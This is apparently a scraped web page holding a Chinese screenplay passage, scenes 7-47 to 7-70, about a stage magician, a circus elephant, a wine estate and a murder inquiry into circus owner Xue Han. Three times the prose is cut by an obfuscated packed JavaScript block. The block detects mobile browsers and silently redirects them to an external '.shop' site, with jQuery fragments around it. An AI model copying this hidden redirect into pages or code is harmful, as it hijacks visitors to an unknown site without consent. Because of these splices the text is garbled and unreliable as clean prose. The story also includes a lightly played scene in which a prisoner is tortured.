;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007412|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场 7-47 帐篷(夜,外) 人物:孟悲欢、良宵 孟悲欢从外面回来,却听见帐篷的后面,传来窸窸窣窣的声音,他走过去一看,原来是良宵,正在偷偷地抹眼泪。 孟悲欢:良宵?你怎么了?是不是薛老板又骂你了? 良宵:(摇摇头)孟先生,我想娜娜了!您说我以后是不是再也见不着她了? 孟悲欢:(走过去摸摸他的头)我记得,你来咱们演出团的时候,还是一个小孩子;娜娜来的时候,也还是一头小象。你俩天天在一起玩耍,就像一对亲密无间的伙伴。如今她走了,你自然舍不得。 良宵:不知道娜娜现在怎么样了?他们会不会还把她关在笼子里? 孟悲欢:寒公子为了娜娜,连薛老板都敢打,娜娜在他那里,应该不会受什么委屈,或许比之前在这里过得更好些呢? 良宵:您说她会不会也在想我? 孟悲欢:当然了,她肯定也在想你。那天你送她离开的时候,她不停地用鼻子蹭你,说明她也舍不得你。 良宵:我好想去看她呀!(恳求)孟先生,您是魔术师,没有什么事情能难得倒您。您能不能想个办法、带我去见见娜娜? 孟悲欢:这个嘛…… 良宵:孟先生,求求您了! 孟悲欢:唉,好吧!你别哭了,我想个办法便是。 7-48 帐篷(日,外) 人物:薛老板、俏四娘、孟悲欢 演出被禁之后,演出团的人也懒散了许多,这让薛老板十分不满。 薛老板:四娘!瞧瞧你手下的这帮人,整日光吃不练,身材都走样了。你们还想不想跳舞了? 俏四娘:(白了他一眼)想啊!问题是咱们跳给谁看呀?你吗? 薛老板:(上前搂住她的细腰)给我看的话,你一个人跳就够了,嘿嘿! 身后传来马蹄声,二人回头一看,却是孟悲欢,正驾着马车,准备离开竞技场。 孟悲欢:(笑着冲二人打招呼)嗨!薛老板、四娘!早上好啊! 薛老板:(不高兴地)孟先生,您怎么天天往外跑呀?您在这座城里,应该没几个朋友吧? 孟悲欢:(指着车上的一个大箱子)我的箱子坏了,去城里找个工匠修修。 薛老板:像这种小事,交给管家不就行了?哪里用得着您亲自去呀? 孟悲欢:这个箱子是用来变魔术的,跟寻常的箱子不一样,若没有我在旁边盯着,只怕连工匠都不知道该怎么修。 薛老板:唉,那行吧!您快去快回哟! 孟悲欢:好嘞,咱们回头见!(驾着马车离开了竞技场) 俏四娘:老薛呀,在咱们演出团里,到底谁才是老板?是你还是他呀? 薛老板:你们这些家伙,若能有他一半的本事,我还用得着对他这么客气吗? 俏四娘:哼!以后若再有什么演出,让他一个人上场好了! 薛老板:哎呦喂,我的四娘啊!娜娜出了事,咱们演出团的明星就只剩下他一个了,看在钱的份上,你就别跟他过不去了! 7-49 马车上(日,外) 人物:孟悲欢、良宵 离开了竞技场,孟悲欢打开箱子,让良宵从里面出来,坐在自己身边。 孟悲欢:(笑着对良宵)孩子,坐稳了!咱们这就去凤凰城里看娜娜! 他扬起鞭子,马车向前飞驰而去。 7-50 关卡(日,外) 人物:孟悲欢、良宵、官差若干 前方的关卡处,官差正在检查过往的车马人流。 良宵:孟先生,怎么办?他们一见这是马戏团的车子,肯定不会放咱们走。 孟悲欢:你躲到箱子里去,我来应付他们。 良宵乖乖地躲进了箱子里,又竖起耳朵,想听听孟悲欢打算怎么跟官差们解释这件事,结果除了风声之外,他什么都没听到。 一会儿,外面传来孟悲欢的声音。 孟悲欢:孩子,没事了!快出来吧! 良宵从箱子里钻出来,发现马车已经过了关卡。 良宵:孟先生,您是怎么办到的?他们没有拦着您吗? 孟悲欢:我是魔术师,我会催眠术,天底下没有我去不了的地方!哈哈哈! 66. 第七篇 神奇的魔术师 梁州,翡宁酒庄 7-51 马车车厢(日,内) 人物:洛宁、欧阳兰兰 马车在酒庄门前停下,洛宁正犹豫着要不要下去,欧阳兰兰拿出一沓厚厚的银票,在她眼前晃了晃。 欧阳兰兰:宁姐姐,看见没?我的钱都准备好了!你去不去呀? 洛宁:我又没说不去,我只是担心他人不在这里。 欧阳兰兰:这个你放心,我都替你打听好了,此时他就在那栋屋子里。 洛宁:你确定?你可别让我白跑一趟。 欧阳兰兰:如果你去了,他却没在,这一沓子银票我白送给你,总行了吧? 洛宁:说话算数? 欧阳兰兰:骗你是小狗! 洛宁:去就去!哼! 洛宁横下心,从马车上下来,大步流星地朝那栋屋子走去,欧阳兰兰笑着跟在她后面。 7-52 主屋一楼,客厅(日,内) 人物:洛宁、翡翠、欧阳兰兰 洛宁进门便喊。 洛宁:翠娘娘!翠娘娘!你在哪里?快给我出来!听见没? 她从客厅找到餐厅、又从餐厅找到客厅,大声地叫着“翠娘娘”,正打算上楼,却听身后一声怒喝。 翡翠:你叫谁呢? 洛宁回头一看,翡翠正恼火地瞪着她。 洛宁:还能叫谁?不就是你吗?(一字一顿大声地)翠、娘、娘! 翡翠:翠娘娘? 洛宁:是不是很好听呀?我决定从今天起,以后就叫你翠娘娘了! 翡翠:找死! 洛宁转身就跑,翡翠拔腿就追,欧阳兰兰哈哈大笑。 欧阳兰兰:哈哈哈!宁姐姐,跑快点儿!他追上来了!哈哈哈! 7-53 主屋,屋顶(日,外) 人物:洛宁、翡翠、欧阳兰兰 洛宁无处可逃,只好爬上了屋顶。 洛宁:(嘴里不住地叫着)翠娘娘!翠娘娘!翠娘娘!…… 翡翠:死丫头!闭嘴! 洛宁脚下一滑,险些掉下去,翡翠眼疾手快,一把抓住了她。 翡翠:死丫头!你不要命了吗? 洛宁:叫一声十两银子! 翡翠:(微微一愣)什么? 洛宁:我跟欧阳兰兰打赌,每叫你一声翠娘娘,她就给我十两银子。 翡翠:你又把我给卖了! 洛宁:动动嘴皮子而已,能吃多大的亏呀? 翡翠:只有像你们这种无聊透顶的人,才会玩这种无聊透顶的游戏! 洛宁:挣的钱全归你,行不? 翡翠:谁会在乎这点儿钱! 洛宁:以前你是不在乎,可现在不一样了。你若不想受这个委屈,就回聚胜古都去,接着当你的继承者,站在巨人的肩膀上,无需看任何人的脸色。多好呀! 翡翠:我说过要回去吗? 洛宁:不回去的话,一切从头再来,哪有不求人的? 翡翠:酒庄已经盖好了! 洛宁:接下来还要种葡萄、酿酒,哪一样不花钱呀?不就是一个诨号吗?你要是觉得不爽,也可以给我取一个嘛! 翡翠:你就是一个二皮脸! 洛宁:叫一声十两银子! 翡翠:你…… 不远处传来欧阳兰兰的声音。 欧阳兰兰(画外音):宁姐姐!你在哪里呀?我怎么没听见你的声音了? 洛宁:(冲翡翠使了个眼色)她来了! 二人从屋顶上下来,洛宁又继续嚷嚷。 洛宁:翠娘娘!翠娘娘!翠娘娘!…… 翡翠:死丫头!站住! 二人继续你追我赶。不过这一次,翡翠已经没了之前的怒气,他装模作样地撵了她几圈之后,便将她关进了酒窖里,任她怎么叫,他都不再搭理了。 7-54 马车车厢(日,内) 人物:洛宁、欧阳兰兰 洛宁和欧阳兰兰离开酒庄,坐马车返回凤凰城。 洛宁:我叫了足足三百声! 欧阳兰兰:可我只听见了三十声。 洛宁:欧阳兰兰,你什么意思?想跟我耍无赖是吧? 欧阳兰兰:宁姐姐,酒庄那么大,你里里外外、上上下下到处乱跑,嗓门忽高又忽低,我能听清楚这三十声就已经很不错了。 洛宁:剩下的呢?你不打算认了? 欧阳兰兰:唉!实在不行的话,咱们明天再重新来一遍,你看怎么样? 洛宁:哼,难怪人们常说无商不奸!欧阳兰兰,你们欧阳世家的生意没交给你去打理,真是太可惜了! 欧阳兰兰:宁姐姐,你别光顾着说我,你自己又怎样呢? 洛宁:我怎么了? 欧阳兰兰:你不是常说翡翠的心眼儿小吗?今天你那样叫他,他竟然没把你狠狠地收拾一顿,真是太令人意外了! 洛宁:欧阳兰兰,你什么意思?你该不会想说我俩是在演戏吧? 欧阳兰兰:(竖起大拇指)若论演技,宁姐姐你可以封后了。 洛宁:得得得,我明白了!以后若再有什么赌约,去找别人跟你玩,姑娘我不奉陪了!哼! 梁州,凤凰城 7-55 天地会总会,延生堂,院子里(日,外) 人物:寒冰、孟悲欢、良宵 再次见到娜娜,良宵高兴极了,扑上去紧紧地抱住它,娜娜也兴奋地扇着耳朵,用鼻子不停地蹭他。 寒冰:良宵似乎并不害怕娜娜。 孟悲欢:(点点头)嗯。在良宵看来,那天晚上发生的事情,只是一场意外,娜娜并不是故意的。 寒冰:为何这么说? 孟悲欢:其实,那天晚上娜娜在登场之前,就已经病了。 寒冰:你们既然知道它病了,为何还要让它上场? 孟悲欢:这是薛老板的意思,良宵也不敢违背。 寒冰:孟先生,我听说你们演出团在各地都非常受欢迎,有时候因为观众太多,不得不一天演出几场,如此辛苦,你们的身子吃得消吗? 孟悲欢:(皱起眉头,盯着寒冰看了会儿)寒公子,我不太明白你的意思。 寒冰:换言之,当你们的身子吃不消时,你们会怎么办? 听了这话,孟悲欢陷入了沉思。 7-56 马车上(夜,外) 人物:孟悲欢、良宵 辞别了寒冰,孟悲欢带着良宵返回竞技场。 孟悲欢:良宵,我问你,那天晚上娜娜在登场之前,你一直跟它在一起吗? 良宵:对呀,怎么了? 孟悲欢:一刻也不曾离开过? 良宵:不曾。哦,不对,离开了一小会儿。 孟悲欢:去了哪里?干了些什么? 良宵:薛老板向我打听娜娜的情况,把我叫了过去。 孟悲欢:这会儿谁跟娜娜在一起? 良宵:没有人。 孟悲欢:你确定? 良宵:应该是吧,怎么了? 孟悲欢:哦,没什么,我只是问问。 梁州,翡宁酒庄 7-57 葡萄园(日,外) 人物:翡翠、洛宁 看着洛宁手里的银票,翡翠皱起眉头。 翡翠:你叫了一整天,怎么才挣到这么点儿银子? 洛宁:我的嗓子都喊哑了,欧阳兰兰却不肯认账,非说她只听见了三十声,真是气死我了! 翡翠:(忍不住笑了)这么说,你也被她坑了呀? 洛宁:她言而无信,以后我再也不跟她打赌了!哼! 翡翠:你还欠我两千七百两银子。 洛宁:咱俩到底谁欠谁呀?之前你从我这里拿走的三千两银子,又该怎么算呀? 翡翠:那是旧账,这是新账,不能混为一谈! 洛宁:你跟欧阳兰兰一样,是个无赖!哼! 翡翠:说吧!打算怎么还? 洛宁:要钱没有! 翡翠:那就只好换你来给我打工了。 洛宁:我可是酒庄的女主人! 翡翠:你这个月来了几回呀?你知道这个园子里一共种了多少棵葡萄树吗?你什么都不知道,还好意思说自己是这里的主人? 洛宁:我说过想退出,你又不让。 翡翠:想退出是吗?行!不过我可告诉你,之前的三千两银子,跟这回的两千七百两银子互抵了…… 洛宁:(一听便急了)互抵了?凭什么? 翡翠:剩下的三百两银子,我跟欧阳兰兰出去喝茶,权当是辛苦费了。 洛宁:一口茶三百两银子?凤凰城最贵的茶楼里,也不敢卖这么贵的茶! 翡翠:可我这个人贵呀!当初你若是让易大师去的话,会便宜许多! 洛宁:你……可恶! 翡翠:明天余大哥要给葡萄树上肥,你也过来帮忙吧! 洛宁:我就是不来,你能怎样? 翡翠:那我只好去督察府找你了! 洛宁:你敢! 翡翠:有何不敢?我还正想跟你的张大哥打一架呢! 洛宁:他哪里得罪你了? 翡翠:我看他不顺眼。 洛宁:不许去! 翡翠:除非你来这里,否则我就要去,你能怎样? 洛宁:你……可恶! 梁州,凤凰城 7-58 督察府,张正清的屋子(日,内) 人物:张正清、田佳 张正清冲着门外喊。 张正清:小鬼!小鬼! 田佳:(从外面跑进来)老大,什么事? 张正清:怎么是你?宁儿呢? 田佳:她去茂源城了! 张正清:去茂源城?又是你给准的假? 田佳:不是你让她去的吗? 张正清:上次是我让她去的,但这次她没说呀! 田佳:她说上次的调查还没结束,所以今天又去了。 张正清:可恶!这家伙分明就是想偷懒! 田佳:要不我去把她带回来,你把她这个月的薪水发给我。 张正清:不用了,我自己去!哼! 梁州,翡宁酒庄 7-59 葡萄园(日,外) 人物:洛宁、余守泰、翡翠、欧阳兰兰、花匠若干 余守泰正在指挥花匠们给葡萄树上肥,洛宁站在他旁边,紧捂着鼻子。 洛宁:余大哥,你用的什么肥料?怎么这么臭呀! 余守泰:嘿嘿,宁姑娘,你还是别问了。我若是告诉你的话,只怕你以后再也不肯来葡萄园了。 洛宁:(嘟哝)唉,翡翠那么爱干净的一个人,竟然能忍受得了这个。 主屋的廊下,欧阳兰兰正在跟翡翠喝茶。 欧阳兰兰:(笑着冲洛宁喊)宁姐姐,你怎么站着不动呀?这么大的一片园子,今天如果弄不完的话,明天你还得接着来哟! 洛宁:(翻了个白眼)唉,这个欧阳兰兰,真令人讨厌呀! 余守泰:宁姑娘,像这种粗活儿,按理说不该由你来干,可翡翠公子既然开了口,你就迁就他一下,好歹装装样子,等他俩走了之后,你就可以休息了。 洛宁:他俩要去哪儿? 余守泰:年轻人嘛,能去哪里?无非是去一处山清水秀的地方,吹一吹凉风、赏一赏美景。咱们这葡萄园里到处都是土疙瘩,欧阳小姐怎么可能一直待在这儿?她通常会在喝完那杯茶之后,便叫上翡翠公子一同离开,直到傍晚天快黑时,才会回来。 洛宁:这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007413|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样啊!那咱们何不让她早点儿走呢? 余守泰:什么意思? 洛宁:余大哥,他们面前的那几棵葡萄树应该还没上肥吧?要不咱们去给他们的茶碗里加点儿料,你看怎么样? 余守泰:嘿嘿,宁姑娘,你也是酒庄的半个主人,你说怎么办就怎么办。 洛宁和余守泰来到主屋前,着手给翡翠和欧阳兰兰面前的那几棵葡萄树上肥。一阵阵臭味儿,直飘向他俩,欧阳兰兰急忙捂住鼻子。 欧阳兰兰:翡翠!你瞧瞧他俩,分明就是故意的嘛! 翡翠:栽花种果就是这样,你若闻不惯的话,可以先离开。 欧阳兰兰:那你呢?不跟我一起走吗? 翡翠:这丫头爱偷懒,我得盯着她。 欧阳兰兰:你不是答应了今天陪我去紫竹苑游玩吗?那里的真言花只有短短三天的花期,去晚了可就看不到了。 翡翠:你见过葡萄开花吗? 欧阳兰兰:葡萄也开花? 翡翠:没有花哪有果? 欧阳兰兰:就算有花,肯定也不起眼儿,哪能跟真言花比呀! 翡翠:你去看真言花吧,我想留下来等葡萄开花。 欧阳兰兰:这些葡萄树又细又矮,什么时候才会开花呀? 翡翠:只要有耐心,总会有那么一天。 送走了欧阳兰兰,翡翠来到洛宁身边。 洛宁:咦,你怎么没跟她一起走呀? 翡翠:别以为我不知道你那点儿小心思。 洛宁:翡翠公子,当年您的祖先开垦第一片葡萄园的时候,是不是也像您这样只动嘴不动手呀?他们是不是轻轻地吹一口气,葡萄园就有了? 翡翠:我进去换身衣裳,过来跟你们一起干。(转身进屋) 洛宁:(倍感惊讶)天哪!一个十指不沾阳春水的家伙,竟然要下地干活儿了? 余守泰:呵呵,这样的话,来年酿出的酒才真甜呢! 梁州,凤凰城 7-60 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:金鹏、余守泰 余守泰叹了口气。 余守泰:唉,鹏子!之前你说跟宁姑娘无缘,我还不太相信,今儿我才明白,缘分这东西,可真是太玄乎了! 金鹏:什么意思? 余守泰:你跟风堂主去长离城办了三天的事,宁姑娘也跟我在葡萄园里干了三天的活儿。你说巧不巧? 金鹏:唉,回回都这么错过了。 余守泰:可不是嘛!不过你也别灰心,天底下还有那么多好姑娘,哥向你保证,一定给你物色一个像宁姑娘那样聪明漂亮又善解人意的! 金鹏:像宁儿那样的?呵呵,怕是要等到下辈子了! 余守泰:柳暗花明又一村!兴许那个跟你有缘的姑娘,很快就要出现了呢! 金鹏:谁呀? 余守泰:你瞧瞧你,又沉不住气了!像这种事情,能着急吗?唉! 7-61 督察府,洛宁和田佳的屋子(日,内) 人物:张正清、洛宁 张正清从门口路过,见洛宁坐在屋里,便走了进来。 张正清:呀,回来了?怎么样?又见着那个魔术师了吗? 洛宁:(没精打采地)见着了。 张正清:咦,怎么了?昨晚没睡好呀? 洛宁:可不是嘛!为了赶路,坐了一整夜的马车,腰酸又背痛。张大哥,你发发慈悲,再给我放一天假,让我回家好好地休息一下。 张正清:行呀!不过回家之前,你是不是应该先把你在茂源城里调查的结果、向我汇报一下呀? 洛宁:你想听什么? 张正清:那个魔术师,他的催眠术到底是真是假? 洛宁:假的。 张正清:是吗?那他又如何制伏了那头大象? 洛宁:那头大象跟他是一伙儿的。 张正清:(心里恨得牙痒痒)小屁孩!当我是傻子吗?(嘴上却道)这么说,大象发疯,其实是一场阴谋? 洛宁:他们原本策划了这个节目,是为了吸引更多的观众,谁知道一不小心闹大了,才出了人命。 张正清:这么说,还是一场意外呀? 洛宁:对呀! 张正清:演出团的老板呢?我听说上次你们为了那头大象,还跟他闹了些矛盾。他的胳膊腿儿好了没?还能站起来吗? 洛宁:寒大夫一出手,他当场就站起来了。 张正清:这么牛啊!那个管家呢?又去报官了没? 洛宁:有了上次的教训,连他们老板见了我,都得礼让三分,他一个小小的管家,能不对我客客气气吗? 张正清:也是啊!不过我怎么听说,就在你去茂源城的那天晚上,那个管家被人杀了呢! 洛宁:(吓了一跳)啊?! 张正清:这下有精神了吧?还想回家吗? 洛宁:(怯怯地望着他)张……张大哥! 张正清:小屁孩!你根本就没去茂源城!死哪儿去了?说! 洛宁:(可怜巴巴地)我……我被绑架了。 张正清:又在编故事! 洛宁:我确确实实被绑架了!我被翡翠绑去了酒庄,在葡萄园里干了三天的苦力,唉,累死我了! 张正清:那个酒庄不也有你的一半吗?你这是假公济私! 洛宁:你扣我三天薪水好了!哦,不对!是四天!我今天还想休息一下呢! 说完她往桌子上一趴,刚闭上眼睛,又被张正清拽了起来。 张正清:起来!不许睡! 洛宁:我都已经不要薪水了,你还想怎样啊? 张正清:上了马车再睡。 洛宁:去哪儿? 张正清:茂源城! 67. 第七篇 神奇的魔术师 梁州,郊外 7-62 马车车厢(日,内) 人物:张正清、洛宁 洛宁一觉醒来,伸了个懒腰。 洛宁:怎么还没到呀? 张正清:你的肚子饿不饿? 洛宁:咦,也是啊!张大哥,咱们上哪儿吃午饭呀? 张正清:(白了她一眼)一路上只知道吃和睡,跟马戏团里的动物有何分别? 洛宁:你要是觉得不妥,一会儿我吃饭的时候,你在旁边看着呗。 张正清:我都没吃,你敢动筷子? 洛宁:我可以用手。 张正清:行呀!以后你跟我一起吃饭的时候,别再用筷子了,全用手去抓吧! 洛宁:(撅起嘴)张大哥,你既然这么讨厌我,还让我来干嘛? 张正清:我若不带上你,谁知道我不在的这几日,你又会给谁打工? 洛宁:要不你去跟翡翠打一架,谁赢了我听谁的。 张正清:要是谁都没赢呢? 洛宁:那你俩就听我的呗! 张正清:(瞪了她一眼)做梦!哼! 7-63 客栈(日,内) 人物:张正清、洛宁 张正清和洛宁在路边的客栈里吃午饭。 洛宁:张大哥,演出团的案子,之前你不是说不管吗?怎么这会儿又想管了? 张正清:那些人滞留在本地,一桩事接着一桩事,想想都觉得心烦。我这次去,也没打算接手,不过是督促一下他们,让他们早点儿把案子给结了,免得越闹越大。 洛宁:之前的那个案子,熊大人不是说了是一场意外吗?为何迟迟未能结案? 张正清:因为赔偿金的事,双方都不肯让步,所以一拖再拖。 洛宁:怎么了? 张正清:演出团的那个薛老板,虽然答应支付死者的丧葬费,却又嫌死者家属开出的价码太高,一而再再而三地要求降低赔偿额。除此外,那些伤者的医药费,他也不肯支付,理由是那些人之所以受伤,不是因为遭大象踩踏的缘故,而是因为竞技场的门太窄了,换言之,如果当初竞技场的门能够修得宽一点儿,就不会发生这种事了。而作为场地的租用者,门不是他修的,自然也不该由他来赔。 洛宁:说得挺在理。竞技场的门是谁修的? 张正清:官府。 洛宁:(忍不住笑了)这么说,他是想让你来赔了? 张正清:哼,若不是看在他是外国人的份上,我早就办他了! 洛宁:张大哥,我在你眼里,是本国人还是外国人呀? 张正清:你若不犯事,是哪一国的都无所谓;但你若犯了事,甭管是哪一国的,都归我管! 洛宁:唉,真霸道!你在薛老板面前,敢说这个话吗? 张正清:小鬼,我之所以没有办他,不是因为不敢。如今他在咱们的地盘上,是去是留,都由不得他。你别看他现在嘴挺硬,等过段日子之后,自然就老实了。 洛宁:这可不好说。 张正清:什么意思? 洛宁:前阵子因为大象的事,我跟他打过一回交道,发现他这个人,把钱看得比命更重。虽然被寒冰整得七荤八素,但在大象的卖价上,分文都不肯少。 张正清:这样才好办呢!赔偿金一日未付,演出就不能继续,他越是想赚钱,我就越是让他赚不到钱,什么时候把钱赔了,什么时候我再放他们走。哼! 梁州,茂源城 7-64 县衙,议事厅(日,内) 人物:张正清、洛宁、熊知县 张正清带着洛宁来到县衙,却听熊知县说,凶手已经落网。 张正清:你说你们已经抓到了凶手? 熊知县:回大人,正是。 张正清:是谁? 熊知县:回大人,是演出团的老板薛汉。 洛宁:(吃惊)薛老板?怎么会是他? 熊知县:起初我们并没有怀疑到他的头上,直到在死者的帐篷里发现了一个箱子。 张正清:什么箱子? 熊知县:一个装满了女人用过的物品的箱子。 洛宁:女人用过的物品?什么意思? 熊知县:有女人的肚兜、亵裤、汗巾等等。 洛宁:全是贴身的衣物。死者有家室吗? 熊知县:没有。 洛宁:既然没有家室,这些东西又从何而来?噢,我明白了,他肯定是有这方面的癖好!有些男人就爱搜集这个,还时不时地拿出来穿在身上,幻想自己变成了一个大美女! 张正清:谁告诉你的? 洛宁:欧阳兰兰呀! 张正清:(白了她一眼)以后你还是离她远点儿!(对着熊知县)熊大人,你接着说。 熊知县:是,大人!据下官调查,这些东西都来自同一个女人,名叫俏四娘,是歌舞团的领队,也是薛汉的……嗯,算是他的老婆吧。 洛宁:算是? 熊知县:他们二人不曾办过婚礼,但一直以夫妻的名义生活在一起,这种事在演出团里并不稀奇,有很多像他们这样的夫妻。 洛宁:也就是说,薛汉老婆的贴身衣物,出现在了死者的帐篷里。呵呵,我终于明白他为何会被杀了。 张正清:也不排除有人想嫁祸给他。熊大人,你们调查过了吗?俏四娘与死者之间,是何关系? 熊知县:据演出团的一个驯兽师供述,死者曾经在一次酒后,说过喜欢俏四娘之类的话。 张正清:除此外,还有别的吗? 熊知县:目前只有这些。 张正清:俏四娘呢?她怎么说? 熊知县:她说箱子里的那些东西都是之前弄丢了的,她也没想到会在死者那里。 洛宁:倒也有这个可能,或许是死者单相思呢? 张正清:俏四娘是薛汉的老婆,她与死者之间就算有什么事,到了这个时候,她也断然不会承认。熊大人,除了那个箱子之外,你们还查出了些什么? 熊知县:回大人,演出团发生意外的那天晚上,薛汉曾与死者起过争执。 张正清:在发生意外之前还是之后? 熊知县:发生意外之后。 张正清:为了何事? 熊知县:似乎是为了那头大象。据演出团的人供述,他们二人在帐篷里吵得很凶,薛汉就像疯了一样,冲着死者大吼大叫。 洛宁:大象疯了,薛老板也跟着疯了。(问张正清)疯子杀人,犯法吗? 张正清:那得看他是真疯还是假疯了。 洛宁:(耸耸肩)谁知道呢?反正那天我跟他谈价钱的时候,他可一点儿也不迷糊! 张正清忍不住笑了,又干咳两声,继续问熊知县。 张正清:薛汉呢?他怎么说? 熊知县:他承认与死者起过争执,但不承认自己杀了人。 张正清:那个箱子的事,他知道吗? 熊知县:下官命人拿给他看了,他当场就恼了,不停地咒骂死者。 洛宁:怪了!他的反应,像是对此一无所知。照这样看,人未必是他杀的。 张正清:他不是疯了吗?谁知道他是不是装的?依我看,人就是他杀的! 洛宁:张大哥你……(话没说完,已被他摆手制止) 张正清:熊大人,赔偿金的事,谈妥了没? 熊知县:(摇摇头)回大人,薛汉还是不肯赔付。 张正清:(冷笑一声)哼,之前咱们没抓他,如今他被关在牢里,应该会识相点儿! 7-65 马车车厢(日,内) 人物:张正清、洛宁 从县衙出来后,刚坐上马车,洛宁便迫不及待地问张正清。 洛宁:张大哥,你什么意思?仅凭那两点,能断定他杀了人吗? 张正清:我说是就是,你别争了。 洛宁:你以前可没这么武断! 张正清:若非如此,他又怎么会乖乖地掏钱? 洛宁:原来是为了这个。如果凶手不是他,怎么办? 张正清:等他把钱赔了,我再去找真凶也不迟呀! 洛宁:也不怕真凶跑了? 张正清:管家虽然死了,他屋里值钱的东西一样没丢,可见凶手不是为了财。凶手从背后偷袭管家,一击毙命,下手干净利落,显然早有准备。管家是外国人,来茂源城不久,跟这里的人都不太熟,也没什么仇家。除此外,还有一件事…… 洛宁:什么? 张正清:马戏团里有狗,那晚却没有叫。是不是很奇怪呀? 洛宁:凶手就在他们中间。 张正清:(笑着点点头)没错! 洛宁:难怪你让熊大人在竞技场附近增设守卫,原来你早就把网张罗好了。 张正清:今晚想吃什么?来一锅红焖山鸡怎么样?哈哈哈! 梁州,凤凰城 7-66 钱庄,洛宏的屋子(日,内) 人物:洛宏、紫旭 紫旭从外面进来。 洛宏:什么事? 紫旭:老大,外面有一位先生,说他曾在咱们的银号里存了一样东西,可我翻遍了所有的客户名册,也没发现有这么一个人。 洛宏:他叫什么名字? 紫旭:孟悲欢。 洛宏:(微微一笑)他确实是咱们的一位客户,不过那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007414|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很久以前的事了。你让他进来,我有话跟他说。 紫旭:是! 梁州,竞技场 7-67 门前(夜,外) 人物:孟悲欢、不觉 马车停在竞技场外。 孟悲欢的身边,坐着一位气质如兰的美少年。 不觉:孟先生,您想让我为您做些什么? 孟悲欢:演出团最近事挺多,我想请你帮忙瞧瞧,是谁在其中捣乱。 不觉:嗯,明白了。(点点头,施展读心术,遍观演出团的人心) 孟悲欢:怎么样?有什么发现吗? 不觉:那个驯兽师……他想杀人。 孟悲欢:(眯起眼)谁? 不觉:俏四娘。 梁州,茂源城 7-68 县衙,议事厅(日,内) 人物:张正清、洛宁 三天过去了,薛汉依旧不肯认罪,也不肯答应赔付。 洛宁:(笑)张大哥,你的招儿对薛老板好像不太管用啊! 张正清:唉,这家伙果然是个守财奴!不管熊大人怎么威逼利诱,他就是不肯松口! 洛宁:想让他出钱倒也不难,咱们可以换一种方式。 张正清:什么? 洛宁:把他的演出团卖了,不就有钱了吗? 张正清:演出团刚刚出了事,谁愿意接手呀?你若把它卖了,薛老板还会感激你呢! 洛宁:那就只好用刑了!反正他是外国人,又不是自己家的孩子,只要打不死、就往死里打,没什么好心疼的! 张正清:嗯,说得好!要不这件事就交给你去办吧! 洛宁:(吓了一跳)我?这可是熊大人的案子! 张正清:那些衙役下手没轻没重,我怕他们一不小心把人给打死了。 洛宁:你就不怕我把他打死了呀? 张正清:你跟他们不一样。 洛宁:哪里不一样? 张正清:你也是外国人呀!就算是在咱们的地盘上,可外国人杀外国人,对咱们的影响不大,你大可以放手去干。 洛宁:张大哥,你可真够损的! 张正清:(推着她往外走)快去吧!早点儿把这个案子结了,咱们也好早点儿回凤凰城去! 7-69 县衙,大牢(日,内) 人物:洛宁、薛汉、崔捕头及其手下 无奈之下,洛宁只好硬着头皮去牢里劝说薛汉,刚一开口,就被薛汉打断了。 洛宁:薛老板…… 薛汉:洛姑娘,我知道你跟他们是一伙儿的,劝你别白费力气了,我是不会认罪的! 洛宁:我知道,你是被冤枉的,对不对?咱们先不谈这个,之前发生在竞技场的那起意外,事还没了呢! 薛汉:钱我也不会给! 洛宁:(没好气地)你不给谁给?难道让我给呀? 薛汉:哎,说对了!我正想跟知县大人说,之前答应支付给死者的丧葬费,我现在改变主意了! 洛宁:改变主意了?什么意思? 薛汉:肇事的是那头大象,如今它易了主,理应由它的新主人来赔! 洛宁:(顿时恼了)你说什么?! 薛汉:替我转告知县大人,甭管谁来了,我都只有一句话,要钱没有、要命不给!哼! 洛宁:岂有此理!(回头问崔捕头)崔捕头,刑具准备好了没? 崔捕头:都准备好了! 洛宁:每一样都给他试试!哼! 薛老板的惨叫声不绝于耳…… 7-70 酒楼,大堂(日,内) 人物:张正清、洛宁 张正清瞅了一眼桌上的菜,忍不住笑了。 张正清:鸡肉、鸡汤、鸡米饭,怎么全是鸡呀? 洛宁:(气呼呼地)我搞不定薛汉那只铁公鸡,吃两只他的同类解解气总行吧?哼! 张正清:死者的钱,让你来赔,伤者的钱,让我来赔。薛老板的算盘,打得可真是太精了!哈哈哈! 洛宁:要是能知道他把钱藏在哪儿,就好办多了。 张正清:他老婆跟他在一起这么多年,都不清楚他把钱藏在哪儿。我让熊大人以查案为由,把竞技场里里外外翻了个遍,也只找到了些细碎的银两。 洛宁:钱庄里有没有? 